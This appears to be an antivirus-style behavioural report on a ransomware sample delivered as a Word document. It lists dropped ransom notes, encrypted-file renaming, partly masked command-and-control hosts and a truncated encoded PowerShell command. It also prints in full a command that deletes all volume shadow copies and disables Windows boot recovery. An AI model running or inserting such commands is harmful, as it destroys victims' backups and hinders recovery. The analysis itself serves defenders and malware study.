Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\1h0wy9-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\vssvc.exe
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\dashborder_144.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
- C:\1h0wy9-readme.txt
- %HOMEPATH%\contacts\1h0wy9-readme.txt
- C:\users\public\videos\1h0wy9-readme.txt
- C:\users\public\recorded tv\1h0wy9-readme.txt
- C:\users\public\pictures\1h0wy9-readme.txt
- C:\users\public\music\1h0wy9-readme.txt
- C:\users\public\libraries\1h0wy9-readme.txt
- C:\users\public\favorites\1h0wy9-readme.txt
- C:\users\public\downloads\1h0wy9-readme.txt
- C:\users\public\documents\1h0wy9-readme.txt
- C:\users\public\desktop\1h0wy9-readme.txt
- C:\users\default\videos\1h0wy9-readme.txt
- C:\users\default\saved games\1h0wy9-readme.txt
- C:\users\default\pictures\1h0wy9-readme.txt
- C:\users\default\music\1h0wy9-readme.txt
- C:\users\default\links\1h0wy9-readme.txt
- C:\users\default\favorites\1h0wy9-readme.txt
- C:\users\default\downloads\1h0wy9-readme.txt
- C:\users\default\documents\1h0wy9-readme.txt
- C:\users\default\desktop\1h0wy9-readme.txt
- %HOMEPATH%\desktop\1h0wy9-readme.txt
- %HOMEPATH%\documents\1h0wy9-readme.txt
- %HOMEPATH%\downloads\1h0wy9-readme.txt
- %HOMEPATH%\favorites\1h0wy9-readme.txt
- %HOMEPATH%\favorites\msn websites\1h0wy9-readme.txt
- %HOMEPATH%\favorites\microsoft websites\1h0wy9-readme.txt
- %HOMEPATH%\favorites\links for united states\1h0wy9-readme.txt
- %HOMEPATH%\favorites\links\1h0wy9-readme.txt
- C:\users\public\videos\sample videos\1h0wy9-readme.txt
- C:\users\public\recorded tv\sample media\1h0wy9-readme.txt
- C:\users\public\pictures\sample pictures\1h0wy9-readme.txt
- C:\users\public\music\sample music\1h0wy9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\1h0wy9-readme.txt
- C:\far2\addons\xlat\russian\1h0wy9-readme.txt
- C:\far2\plugins\ftp\lib\1h0wy9-readme.txt
- C:\far2\addons\colors\default_highlighting\1h0wy9-readme.txt
- C:\far2\addons\colors\custom_highlighting\1h0wy9-readme.txt
- %HOMEPATH%\voip\1h0wy9-readme.txt
- %HOMEPATH%\videos\1h0wy9-readme.txt
- %HOMEPATH%\searches\1h0wy9-readme.txt
- %HOMEPATH%\saved games\1h0wy9-readme.txt
- %HOMEPATH%\pictures\1h0wy9-readme.txt
- %HOMEPATH%\music\1h0wy9-readme.txt
- %HOMEPATH%\links\1h0wy9-readme.txt
- %HOMEPATH%\favorites\windows live\1h0wy9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\1h0wy9-readme.txt
- C:\far2\pluginsdk\headers.pas\1h0wy9-readme.txt
- C:\far2\pluginsdk\headers.c\1h0wy9-readme.txt
- C:\users\public\1h0wy9-readme.txt
- C:\users\default\1h0wy9-readme.txt
- C:\totalcmd\language\1h0wy9-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\1h0wy9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\1h0wy9-readme.txt
- C:\far2\pluginsdk\1h0wy9-readme.txt
- C:\far2\plugins\1h0wy9-readme.txt
- C:\far2\fexcept\1h0wy9-readme.txt
- C:\far2\encyclopedia\1h0wy9-readme.txt
- C:\far2\documentation\1h0wy9-readme.txt
- C:\far2\addons\1h0wy9-readme.txt
- <Current directory>\~$<File name>.doc
- C:\users\1h0wy9-readme.txt
- C:\totalcmd\1h0wy9-readme.txt
- C:\recovery\1h0wy9-readme.txt
- %ProgramFiles(x86)%\1h0wy9-readme.txt
- %ProgramFiles%\1h0wy9-readme.txt
- C:\far2\1h0wy9-readme.txt
- <Current directory>\1h0wy9-readme.txt
- %HOMEPATH%\1h0wy9-readme.txt
- C:\far2\addons\colors\1h0wy9-readme.txt
- C:\far2\addons\macros\1h0wy9-readme.txt
- C:\far2\addons\setup\1h0wy9-readme.txt
- C:\far2\plugins\proclist\1h0wy9-readme.txt
- C:\far2\plugins\network\1h0wy9-readme.txt
- C:\far2\plugins\macroview\1h0wy9-readme.txt
- C:\far2\plugins\hlfviewer\1h0wy9-readme.txt
- C:\far2\plugins\ftp\1h0wy9-readme.txt
- C:\far2\plugins\filecase\1h0wy9-readme.txt
- C:\far2\plugins\farcmds\1h0wy9-readme.txt
- C:\far2\plugins\emenu\1h0wy9-readme.txt
- C:\far2\plugins\editcase\1h0wy9-readme.txt
- C:\far2\plugins\compare\1h0wy9-readme.txt
- C:\far2\plugins\drawline\1h0wy9-readme.txt
- C:\far2\plugins\brackets\1h0wy9-readme.txt
- C:\far2\plugins\autowrap\1h0wy9-readme.txt
- C:\far2\plugins\arclite\1h0wy9-readme.txt
- C:\far2\plugins\align\1h0wy9-readme.txt
- C:\far2\encyclopedia\tap\1h0wy9-readme.txt
- C:\far2\documentation\rus\1h0wy9-readme.txt
- C:\far2\documentation\eng\1h0wy9-readme.txt
- C:\far2\addons\xlat\1h0wy9-readme.txt
- C:\far2\addons\shell\1h0wy9-readme.txt
- C:\far2\plugins\tmppanel\1h0wy9-readme.txt
- D:\1h0wy9-readme.txt
Moves the following files
- from <Current directory>\~$<File name>.doc to <Current directory>\~$<File name>.doc.1h0wy9
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.1h0wy9
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\vssvc.exe'
